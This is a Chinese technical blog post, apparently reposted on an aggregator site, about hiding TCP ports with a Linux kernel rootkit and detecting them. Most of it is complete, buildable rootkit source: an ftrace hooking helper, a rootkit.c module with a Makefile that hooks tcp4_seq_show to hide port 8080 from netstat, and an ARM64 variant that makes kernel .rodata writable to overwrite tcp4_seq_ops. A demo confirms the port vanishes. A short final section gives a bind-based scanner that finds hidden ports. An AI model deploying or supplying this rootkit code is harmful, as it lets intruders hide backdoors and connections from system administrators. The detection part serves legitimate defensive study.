Linux rootkit之隐藏TCP端口和检测

这篇具有很好参考价值的文章主要介绍了Linux rootkit之隐藏TCP端口和检测。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

主要参考文章:Linux Rootkits Part 8: Hiding Open Ports

一、tcp4_seq_show

1.1 netsta简介

Linux 下使用 netstat 查看 TCP/UDP 连接情况,然后用 strace 追踪查看其数据来源:

# strace -o netstat_log -e trace=open netstat -4tenp
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       User       Inode      PID/Program name
tcp        0      0 x.x.x.x:port         	x.x.x.x:port         	ESTABLISHED 0          1758541    25452/node
tcp        0     44 x.x.x.x:port         	x.x.x.x:port       		ESTABLISHED 0          1759427    25332/sshd: root@no
# cat netstat_log
......
open("/proc/net/tcp", O_RDONLY)         = 3

可以看到 netstat 命令的数据来源于 /proc/net/tcp 文件。

/proc/net/tcp接口提供有关当前活动TCP的信息连接,并由net/ipv4/tcpipv4.c中的tcp4_seq_show()实现。

它将首先列出所有 listening TCP套接字,然后列出所有 established 的套接字TCP连接。

1.2 /proc/net/tcp文件

1.2.1 tcp4_seq_show 函数

接下来我们分析 tcp4_seq_show 函数:

// linux-3.10/net/ipv4/tcp_ipv4.c

static int tcp4_seq_show(struct seq_file *seq, void *v)
{
	struct tcp_iter_state *st;
	int len;

	if (v == SEQ_START_TOKEN) {
		seq_printf(seq, "%-*s\n", TMPSZ - 1,
			   "  sl  local_address rem_address   st tx_queue "
			   "rx_queue tr tm->when retrnsmt   uid  timeout "
			   "inode");
		goto out;
	}
	st = seq->private;

	switch (st->state) {
	case TCP_SEQ_STATE_LISTENING:
	case TCP_SEQ_STATE_ESTABLISHED:
		get_tcp4_sock(v, seq, st->num, &len);
		break;
	case TCP_SEQ_STATE_OPENREQ:
		get_openreq4(st->syn_wait_sk, v, seq, st->num, st->uid, &len);
		break;
	case TCP_SEQ_STATE_TIME_WAIT:
		get_timewait4_sock(v, seq, st->num, &len);
		break;
	}
	seq_printf(seq, "%*s\n", TMPSZ - 1 - len, "");
out:
	return 0;
}

处于 listening 和 established 状态的TCP套接字在get_tcp4_sock将 TCP套接字的信息写入到序列文件 struct seq_file中:

static void get_tcp4_sock(struct sock *sk, struct seq_file *f, int i, int *len)
{
	int timer_active;
	unsigned long timer_expires;
	const struct tcp_sock *tp = tcp_sk(sk);
	const struct inet_connection_sock *icsk = inet_csk(sk);
	const struct inet_sock *inet = inet_sk(sk);
	struct fastopen_queue *fastopenq = icsk->icsk_accept_queue.fastopenq;
	__be32 dest = inet->inet_daddr;
	__be32 src = inet->inet_rcv_saddr;
	__u16 destp = ntohs(inet->inet_dport);
	__u16 srcp = ntohs(inet->inet_sport);
	int rx_queue;

	if (icsk->icsk_pending == ICSK_TIME_RETRANS ||
	    icsk->icsk_pending == ICSK_TIME_EARLY_RETRANS ||
	    icsk->icsk_pending == ICSK_TIME_LOSS_PROBE) {
		timer_active	= 1;
		timer_expires	= icsk->icsk_timeout;
	} else if (icsk->icsk_pending == ICSK_TIME_PROBE0) {
		timer_active	= 4;
		timer_expires	= icsk->icsk_timeout;
	} else if (timer_pending(&sk->sk_timer)) {
		timer_active	= 2;
		timer_expires	= sk->sk_timer.expires;
	} else {
		timer_active	= 0;
		timer_expires = jiffies;
	}

	if (sk->sk_state == TCP_LISTEN)
		rx_queue = sk->sk_ack_backlog;
	else
		/*
		 * because we dont lock socket, we might find a transient negative value
		 */
		rx_queue = max_t(int, tp->rcv_nxt - tp->copied_seq, 0);

	seq_printf(f, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X %02X:%08lX "
			"%08X %5d %8d %lu %d %pK %lu %lu %u %u %d%n",
		i, src, srcp, dest, destp, sk->sk_state,
		tp->write_seq - tp->snd_una,
		rx_queue,
		timer_active,
		jiffies_delta_to_clock_t(timer_expires - jiffies),
		icsk->icsk_retransmits,
		from_kuid_munged(seq_user_ns(f), sock_i_uid(sk)),
		icsk->icsk_probes_out,
		sock_i_ino(sk),
		atomic_read(&sk->sk_refcnt), sk,
		jiffies_to_clock_t(icsk->icsk_rto),
		jiffies_to_clock_t(icsk->icsk_ack.ato),
		(icsk->icsk_ack.quick << 1) | icsk->icsk_ack.pingpong,
		tp->snd_cwnd,
		sk->sk_state == TCP_LISTEN ?
		    (fastopenq ? fastopenq->max_qlen : 0) :
		    (tcp_in_initial_slowstart(tp) ? -1 : tp->snd_ssthresh),
		len);
}

隐藏 TCP 端口,实际上就是 hook tcp4_seq_show函数。

1.2.2 /proc/net/tcp 的建立

static const struct file_operations tcp_afinfo_seq_fops = {
	.owner   = THIS_MODULE,
	.open    = tcp_seq_open,
	.read    = seq_read,
	.llseek  = seq_lseek,
	.release = seq_release_net
};

static struct tcp_seq_afinfo tcp4_seq_afinfo = {
	.name		= "tcp",
	.family		= AF_INET,
	.seq_fops	= &tcp_afinfo_seq_fops,
	.seq_ops	= {
		.show		= tcp4_seq_show,
	},
};

static int __net_init tcp4_proc_init_net(struct net *net)
{
	return tcp_proc_register(net, &tcp4_seq_afinfo);
}

static void __net_exit tcp4_proc_exit_net(struct net *net)
{
	tcp_proc_unregister(net, &tcp4_seq_afinfo);
}

static struct pernet_operations tcp4_net_ops = {
	.init = tcp4_proc_init_net,
	.exit = tcp4_proc_exit_net,
};

int __init tcp4_proc_init(void)
{
	return register_pernet_subsys(&tcp4_net_ops);
}
tcp4_proc_init
	-->register_pernet_subsys(&tcp4_net_ops)
		-->tcp4_proc_init_net
			-->tcp_proc_register(net, &tcp4_seq_afinfo)
				-->proc_create_data
					-->proc_register
struct proc_dir_entry *proc_create_data(const char *name, umode_t mode,
					struct proc_dir_entry *parent,
					const struct file_operations *proc_fops,
					void *data)
{
	struct proc_dir_entry *pde;
	if ((mode & S_IFMT) == 0)
		mode |= S_IFREG;

	if (!S_ISREG(mode)) {
		WARN_ON(1);	/* use proc_mkdir() */
		return NULL;
	}

	if ((mode & S_IALLUGO) == 0)
		mode |= S_IRUGO;
	pde = __proc_create(&parent, name, mode, 1);
	if (!pde)
		goto out;
	pde->proc_fops = proc_fops;
	pde->data = data;
	if (proc_register(parent, pde) < 0)
		goto out_free;
	return pde;
out_free:
	kfree(pde);
out:
	return NULL;
}
EXPORT_SYMBOL(proc_create_data);

/proc 文件系统是 Linux 操作系统中一种特殊的文件系统,它不存储任何磁盘上的数据,而是通过内核提供的接口,将一些系统信息和运行时的状态以文件的形式暴露给用户空间程序。用户可以通过读写 /proc 文件系统中的文件来访问这些信息和状态,从而实现对系统进行监控和调试等功能。

在 Linux 内核中,/proc 文件系统的实现是通过一些特殊的数据结构来实现的。其中,最基本的数据结构是 struct proc_dir_entry,它表示 /proc 文件系统中的一个文件或目录节点。每个节点都有一个名称、权限、类型和一些回调函数等属性,用户可以通过读写节点来访问和修改相关的信息和状态。

在本代码中,proc_create_data 函数用于创建一个带有数据的文件节点,并将其注册到内核中。该函数接受五个参数,分别是节点名称、权限和类型、父节点、文件操作函数指针和关联的数据指针。函数的主要实现流程包括以下几个步骤:
(1)首先对权限和类型进行一些处理,以确保节点类型为普通文件类型,并设置默认的读取权限。
(2)调用内部函数 __proc_create 创建一个新的 proc 文件节点,并返回指向该节点的指针。
(3)如果创建节点失败,则释放节点内存并返回 NULL。
(4)将节点的文件操作函数指针和关联的数据指针设置为函数参数中的值。
(5)调用 proc_register 函数将节点注册到内核中。
(6)如果注册失败,则释放节点内存并返回 NULL,否则返回节点指针。

这里就是在 /proc/net/ 目录下创建一个 tcp 的文件,即 /proc/net/tcp 。

二、隐藏TCP端口

2.1 hook tcp4_seq_show 函数

static int tcp4_seq_show(struct seq_file *seq, void *v)
{
	......
}

void *v 这个参数实际就是 struct sock *sk。
然后通过 struct sock *sk 获取到 struct inet_sock *inet 结构体指针:

static inline struct inet_sock *inet_sk(const struct sock *sk)
{
	return (struct inet_sock *)sk;
}
struct inet_sock {
	/* sk and pinet6 has to be the first two members of inet_sock */
	struct sock		sk;
	......
}
struct inet_sock *inet = inet_sk(sk);

隐藏 8080 这个端口号:

/* This is our hook function for tcp4_seq_show */
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct inet_sock *is;
    long ret;
    unsigned short port = htons(8080);

    if (v != SEQ_START_TOKEN) {
		is = (struct inet_sock *)v;
		if (port == is->inet_sport || port == is->inet_dport) {
			printk(KERN_DEBUG "rootkit: sport: %d, dport: %d\n",
				   ntohs(is->inet_sport), ntohs(is->inet_dport));
			return 0;
		}
	}

	ret = orig_tcp4_seq_show(seq, v);
	return ret;
}

2.2 x86_64完整代码

ftrace_helper.h文件:

/*
 * Helper library for ftrace hooking kernel functions
 * Author: Harvey Phillips (xcellerator@gmx.com)
 * License: GPL
 * */

#include <linux/ftrace.h>
#include <linux/linkage.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
#include <linux/version.h>

#if defined(CONFIG_X86_64) && (LINUX_VERSION_CODE >= KERNEL_VERSION(4,17,0))
#define PTREGS_SYSCALL_STUBS 1
#endif

/*
 * On Linux kernels 5.7+, kallsyms_lookup_name() is no longer exported, 
 * so we have to use kprobes to get the address.
 * Full credit to @f0lg0 for the idea.
 */
#if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0)
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
    .symbol_name = "kallsyms_lookup_name"
};
#endif

#define HOOK(_name, _hook, _orig)   \
{                   \
    .name = (_name),        \
    .function = (_hook),        \
    .original = (_orig),        \
}

/* We need to prevent recursive loops when hooking, otherwise the kernel will
 * panic and hang. The options are to either detect recursion by looking at
 * the function return address, or by jumping over the ftrace call. We use the 
 * first option, by setting USE_FENTRY_OFFSET = 0, but could use the other by
 * setting it to 1. (Oridinarily ftrace provides it's own protections against
 * recursion, but it relies on saving return registers in $rip. We will likely
 * need the use of the $rip register in our hook, so we have to disable this
 * protection and implement our own).
 * */
#define USE_FENTRY_OFFSET 0
#if !USE_FENTRY_OFFSET
#pragma GCC optimize("-fno-optimize-sibling-calls")
#endif

/* We pack all the information we need (name, hooking function, original function)
 * into this struct. This makes is easier for setting up the hook and just passing
 * the entire struct off to fh_install_hook() later on.
 * */
struct ftrace_hook {
    const char *name;
    void *function;
    void *original;

    unsigned long address;
    struct ftrace_ops ops;
};

/* Ftrace needs to know the address of the original function that we
 * are going to hook. As before, we just use kallsyms_lookup_name() 
 * to find the address in kernel memory.
 * */
static int fh_resolve_hook_address(struct ftrace_hook *hook)
{
#ifdef KPROBE_LOOKUP
    typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
    kallsyms_lookup_name_t kallsyms_lookup_name;
    register_kprobe(&kp);
    kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
    unregister_kprobe(&kp);
#endif
    //查找原始函数的地址
    hook->address = kallsyms_lookup_name(hook->name);

    if (!hook->address)
    {
        printk(KERN_DEBUG "rootkit: unresolved symbol: %s\n", hook->name);
        return -ENOENT;
    }

    //保存原始函数的地址,即备份该地址
#if USE_FENTRY_OFFSET
    *((unsigned long*) hook->original) = hook->address + MCOUNT_INSN_SIZE;
#else
    *((unsigned long*) hook->original) = hook->address;
#endif

    return 0;
}


#if LINUX_VERSION_CODE <= KERNEL_VERSION(3,16,0)
static inline bool within_module(unsigned long addr, const struct module *mod)
{
	return within_module_init(addr, mod) || within_module_core(addr, mod);
}
#endif

/* See comment below within fh_install_hook() */
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip, struct ftrace_ops *ops, struct pt_regs *regs)
{
    struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);

#if USE_FENTRY_OFFSET
    regs->ip = (unsigned long) hook->function;
#else
    if(!within_module(parent_ip, THIS_MODULE))
        regs->ip = (unsigned long) hook->function;
#endif
}

/* Assuming we've already set hook->name, hook->function and hook->original, we 
 * can go ahead and install the hook with ftrace. This is done by setting the 
 * ops field of hook (see the comment below for more details), and then using
 * the built-in ftrace_set_filter_ip() and register_ftrace_function() functions
 * provided by ftrace.h
 * */
int fh_install_hook(struct ftrace_hook *hook)
{
    int err;
    err = fh_resolve_hook_address(hook);
    if(err)
        return err;

    /* For many of function hooks (especially non-trivial ones), the $rip
     * register gets modified, so we have to alert ftrace to this fact. This
     * is the reason for the SAVE_REGS and IP_MODIFY flags. However, we also
     * need to OR the RECURSION_SAFE flag (effectively turning if OFF) because
     * the built-in anti-recursion guard provided by ftrace is useless if
     * we're modifying $rip. This is why we have to implement our own checks
     * (see USE_FENTRY_OFFSET). */
    hook->ops.func = fh_ftrace_thunk;
    hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
            | FTRACE_OPS_FL_RECURSION_SAFE
            | FTRACE_OPS_FL_IPMODIFY;

    err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
        return err;
    }

    err = register_ftrace_function(&hook->ops);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: register_ftrace_function() failed: %d\n", err);
        return err;
    }

    return 0;
}

/* Disabling our function hook is just a simple matter of calling the built-in
 * unregister_ftrace_function() and ftrace_set_filter_ip() functions (note the
 * opposite order to that in fh_install_hook()).
 * */
void fh_remove_hook(struct ftrace_hook *hook)
{
    int err;
    err = unregister_ftrace_function(&hook->ops);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: unregister_ftrace_function() failed: %d\n", err);
    }

    //ftrace_set_filter_ip的第三个参数 remove :non zero to remove the ip from the filter
    err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
    if(err)
    {
        printk(KERN_DEBUG "rootkit: ftrace_set_filter_ip() failed: %d\n", err);
    }
}

/* To make it easier to hook multiple functions in one module, this provides
 * a simple loop over an array of ftrace_hook struct
 * */
int fh_install_hooks(struct ftrace_hook *hooks, size_t count)
{
    int err;
    size_t i;

    for (i = 0 ; i < count ; i++)
    {
        err = fh_install_hook(&hooks[i]);
        if(err)
            goto error;
    }
    return 0;

error:
    while (i != 0)
    {
        fh_remove_hook(&hooks[--i]);
    }
    return err;
}

void fh_remove_hooks(struct ftrace_hook *hooks, size_t count)
{
    size_t i;

    for (i = 0 ; i < count ; i++)
        fh_remove_hook(&hooks[i]);
}

rootkit.c文件:

#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/kallsyms.h>
#include <linux/tcp.h>

#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("TheXcellerator");
MODULE_DESCRIPTION("Hiding open ports");
MODULE_VERSION("0.01");

/* Function declaration for the original tcp4_seq_show() function that we
 * are going to hook.
 * */
static asmlinkage long (*orig_tcp4_seq_show)(struct seq_file *seq, void *v);

/* This is our hook function for tcp4_seq_show */
static asmlinkage long hook_tcp4_seq_show(struct seq_file *seq, void *v)
{
    struct inet_sock *is;
    long ret;
    unsigned short port = htons(8080);

    if (v != SEQ_START_TOKEN) {
		is = (struct inet_sock *)v;
		if (port == is->inet_sport || port == is->inet_dport) {
			printk(KERN_DEBUG "rootkit: sport: %d, dport: %d\n",
				   ntohs(is->inet_sport), ntohs(is->inet_dport));
			return 0;
		}
	}

	ret = orig_tcp4_seq_show(seq, v);
	return ret;
}

/* We are going to use the fh_install_hooks() function from ftrace_helper.h
 * in the module initialization function. This function takes an array of 
 * ftrace_hook structs, so we initialize it with what we want to hook
 * */
static struct ftrace_hook hooks[] = {
	HOOK("tcp4_seq_show", hook_tcp4_seq_show, &orig_tcp4_seq_show),
};

/* Module initialization function */
static int __init rootkit_init(void)
{
	/* Simply call fh_install_hooks() with hooks (defined above) */
	int err;
	err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
	if(err)
		return err;

	printk(KERN_INFO "rootkit: Loaded >:-)\n");

	return 0;
}

static void __exit rootkit_exit(void)
{
	/* Simply call fh_remove_hooks() with hooks (defined above) */
	fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
	printk(KERN_INFO "rootkit: Unloaded :-(\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);

Makefile文件:

obj-m += rootkit.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

2.3 ARM64代码示例

#include <linux/module.h>
#include <linux/kallsyms.h>
#include <linux/kernel.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <linux/seq_file.h>

MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("Access non-exported symbols");
MODULE_AUTHOR("Tzyy");

#define TMPSZ 150
#define PORT_TO_HIDE 8080	//想要隐藏的目标端口

void (*update_mapping_prot)(phys_addr_t phys, unsigned long virt, phys_addr_t size, pgprot_t prot);

// .rodata segment 区间
unsigned long start_rodata;
unsigned long init_begin;

#define section_size init_begin - start_rodata

struct seq_operations *tcp4_seq_ops_ptr = NULL;
typedef int (*tcp4_seq_show_ptr) (struct seq_file *m, void *v);
tcp4_seq_show_ptr old_tcp4_seq_show = NULL;
tcp4_seq_show_ptr tmp = NULL;

int my_tcp4_seq_show(struct seq_file *seq, void *v)
{
	printk("System call inerception strated!\n");
	
	int old_val = (*old_tcp4_seq_show) (seq, v);
	char port[12];
	sprintf(port,"%04X", PORT_TO_HIDE);
	if(strnstr(seq->buf+seq->count-TMPSZ, port, TMPSZ)) {
		seq->count -= TMPSZ;
	}
	
	printk("Hack completed!\n");
	return old_val;
}


//修改指定内核地址范围的内存属性为只读
static inline void protect_memory(void)
{
	update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
			section_size, PAGE_KERNEL_RO);
}

//修改指定内核地址范围的内存属性为可读可写等
static inline void unprotect_memory(void)
{
	update_mapping_prot(__pa_symbol(start_rodata), (unsigned long)start_rodata,
			section_size, PAGE_KERNEL);
}


static int __init lkm_init(void)
{
    update_mapping_prot = (void *)kallsyms_lookup_name("update_mapping_prot");

	start_rodata = (unsigned long)kallsyms_lookup_name("__start_rodata");
	init_begin = (unsigned long)kallsyms_lookup_name("__init_begin");

    unsigned long _tcp4_seq_show = kallsyms_lookup_name("tcp4_seq_show");

	//获得tcp4_seq_ops函数指针,用于之后将读取tcp端口的tcp4_seq_show修改成指向自己的定义的函数 
	tcp4_seq_ops_ptr = (struct seq_operations *) kallsyms_lookup_name("tcp4_seq_ops");
	old_tcp4_seq_show = (tcp4_seq_show_ptr) kallsyms_lookup_name("tcp4_seq_show");

	if(!_tcp4_seq_show){
		printk("Can't get address of tcp4_seq_show\n");
		return 0;	
	} 
	
	//打印tcp4_seq_show的内存地址
	printk(KERN_INFO "[%s] tcp4_seq_show (0x%lx)\n", __this_module.name, _tcp4_seq_show);
	printk("Let's hack it!\n");
	
	//修改tcp4_seq_ops所引用的show函数为自己的函数
	if (old_tcp4_seq_show != NULL){	
		unprotect_memory();
		tcp4_seq_ops_ptr->show = (tcp4_seq_show_ptr)(&my_tcp4_seq_show);
		protect_memory();
	}

	return 0;
}


//在卸载模块的时候,将tcp4_seq_ops指向的show函数改回原来的函数
static void __exit lkm_exit(void)
{
	unprotect_memory();
	tcp4_seq_ops_ptr->show = old_tcp4_seq_show;
	protect_memory();
}

module_init(lkm_init);
module_exit(lkm_exit);

结果演示:

# nc -lvnp 8080
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
# netstat -4tnlp | grep 8080
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      4305/nc
# insmod rootkit.ko
# netstat -4tnlp | grep 8080
#

三、检测隐藏端口

通过调用函数 bind 盲测端口,对比差异发现隐藏端口:
1) 从1到65535遍历端口;

2) 创建一个基于TCP协议SOCK_STREAM的socket;

3) 通过bind返回值和错误码探测端口状态;

EADDRINUSE
       The given address is already in use.

4) 如果被占用,通过 bind 错误码是EADDRINUSE确定端口占用;

5) 通过netstat命令过滤tcp协议,查看端口情况;

代码如下:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>

int main() {
    
    int sock_fd, port, ret;
    struct sockaddr_in addr;

    for (port = 1; port <= 65535; ++port) {
        // 创建 TCP socket
        sock_fd = socket(AF_INET, SOCK_STREAM, 0);
        if (sock_fd < 0) {
            perror("socket");
            exit(EXIT_FAILURE);
        }

        // 绑定地址和端口
        memset(&addr, 0, sizeof(addr));
        addr.sin_family = AF_INET;
        addr.sin_addr.s_addr = htonl(INADDR_ANY);
        addr.sin_port = htons(port);
        ret = bind(sock_fd, (struct sockaddr *)&addr, sizeof(addr));
        if (ret < 0) {
            if (errno == EADDRINUSE) {
                printf("Port %d is open\n", port);
            }
        } else {
            close(sock_fd);
        }
    }

    return 0;
}

结果:

# ./a.out
......
Port 8080 is open
......

参考资料

Linux 3.10.0

https://xcellerator.github.io/posts/linux_rootkits_08/
https://github.com/xcellerator/linux_kernel_hacking
https://blog.csdn.net/whatday/article/details/100693051
https://blog.csdn.net/weixin_44858076/article/details/112878151
反入侵策略总结-rootkit检测文章来源地址https://www.toymoban.com/news/detail-580391.html

到了这里,关于Linux rootkit之隐藏TCP端口和检测的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【安全】查杀linux隐藏挖矿病毒rcu_tasked

    这是黑客使用的批量蔓延病毒的工具,通过如下脚本 /root/.cfg/目录下的病毒源文件 目前未查清楚原文件是通过隐藏在什么程序中带过来的,这是一大遗憾 中毒现象提现未cpu占用100%,且通过top、netstat、ps等命令找不到进程号 挖矿的矿池IP,全是国外的IP,大概看了一下,基本

    2024年04月15日
    浏览(29)
  • linux服务器上使用frp实现tcp端口转发--以访问内网mysql为例

    前言 最近在部署测试环境 部署服务器上没有公网地址和端口 无法使用navicat等工具对数据库操作 因此需要内网穿透或tcp端口转发来实现 公网服务器作为服务器端frps 内网服务器作为客户端frpc 服务端和客户端均下载相应的包 没开端口的自行开启相应端口 开启7000端口如下 1

    2024年02月16日
    浏览(41)
  • linux系统的宝塔面板密码忘记了?用户名忘记了?访问地址忘记了?安全入口忘记了?宝塔服务是否已开启?以下是解决方法!修改密码、修改用户名、修改访问端口、修改安全入口等等!

    在Linux系统下,宝塔面板(BT-Panel)可以帮助用户简化服务器的管理和配置。宝塔面板适用于多个Linux发行版,如CentOS、Ubuntu等,并提供了图形化的界面,使得用户可以通过简单的点击和配置来完成各种操作。 使用宝塔面板,您可以轻松地进行网站的部署和管理。宝塔面板提供

    2024年02月04日
    浏览(36)
  • Linux基线安全检测-服务器安全配置检测

    众所周知,服务器的安全配置是我们安全生产环境中很重要也是最为“硬性”的第一步; 譬如说,一个服务器创建好之后,它没有禁止空密码登录,那岂不是“人人都可以踩它两脚”,随便一个人都可以登录进去然后干一些“见不的人”的事情,因此,我们要打好第一枪,在

    2024年03月26日
    浏览(40)
  • Linux系统——测试端口连通性方法

    目录 一、TCP端口连通性测试 1、ssh 2、telnet(可能需要安装) 3、curl 4、tcping(需要安装) 5、nc(需要安装) 6、nmap(需要安装) 二、UDP端口连通性测试 1、nc(需要安装) 2、nmap(需要安装) 通常测试两台主机之间是否能通行常用的是ping命令,但是在有些情况下无法使用

    2024年01月23日
    浏览(26)
  • linux系统防火墙开放端口

    在外部访问CentOS中部署应用时,需要通过防火墙管理软件,开端口,或者直接关闭防火墙进行解决(不建议) 常用命令: systemctl start firewalld #启动 systemctl stop firewalld #停止 systemctl status firewalld #查看状态 systemctl disable firewalld #开机禁用 systemctl enable firewalld #开机启动 开放或关闭端

    2024年02月14日
    浏览(30)
  • Linux系统之查看进程监听端口方法

    在Linux系统中,,每个服务启动的时候都会通过一个端口来进行监听,所有端口都与OS中的进程ID或服务相关联。在日常的Linux系统运维中,我们有时需要某些特定服务的进程正在侦听哪个端口号。 netstat命令 用来打印Linux中网络系统的状态信息,可让你得知整个Linux系统的网络

    2024年02月02日
    浏览(27)
  • 【超详细】Linux系统修改SSH端口教程

    在linux中,默认的SSH端口号为22,由于这是咱们都知道的端口号,一旦有入侵者进行端口扫描的时候扫描出22端口,就立马知道这是进行SSH登录的端口号,因而咱们需要修改默认的端口号。   本次测试环境:Centos7.6系统-服务器来自:蓝易云 香港五网CN2网络  ,国内速度优秀,

    2024年02月05日
    浏览(39)
  • Linux系统ssh连出和连入端口设置

    ssh端口设置分为连入和连出端口设置: 1、如果想要设置连入的端口号,则进入目录 vim /etc/ssh/sshd_config,修改对应端口号为36000,如下图。  2、如果想要设置连出的端口号,即如果使用ssh root@IP 不加-p参数,也要根据自己想要的默认端口36000号进行连接。则进入目录 vim /etc/s

    2024年02月15日
    浏览(26)
  • Linux【安全 01】云服务器主机安全加固(修改SSHD端口、禁用登陆失败的IP地址、使用密钥登录)

    修改SSHD的默认端口,它可以抵御一些简单的密码暴力破解脚本。 查看登录失败的IP地址 通过下面的命令将这些登陆失败的IP加入服务器访问限制名单【失败次数最多的10个IP】 使用SSH密钥,并禁用密码登录,以MobaXterm为例进行说明。 以下命令在本机上执行(Windows) 使用Mob

    2024年02月05日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包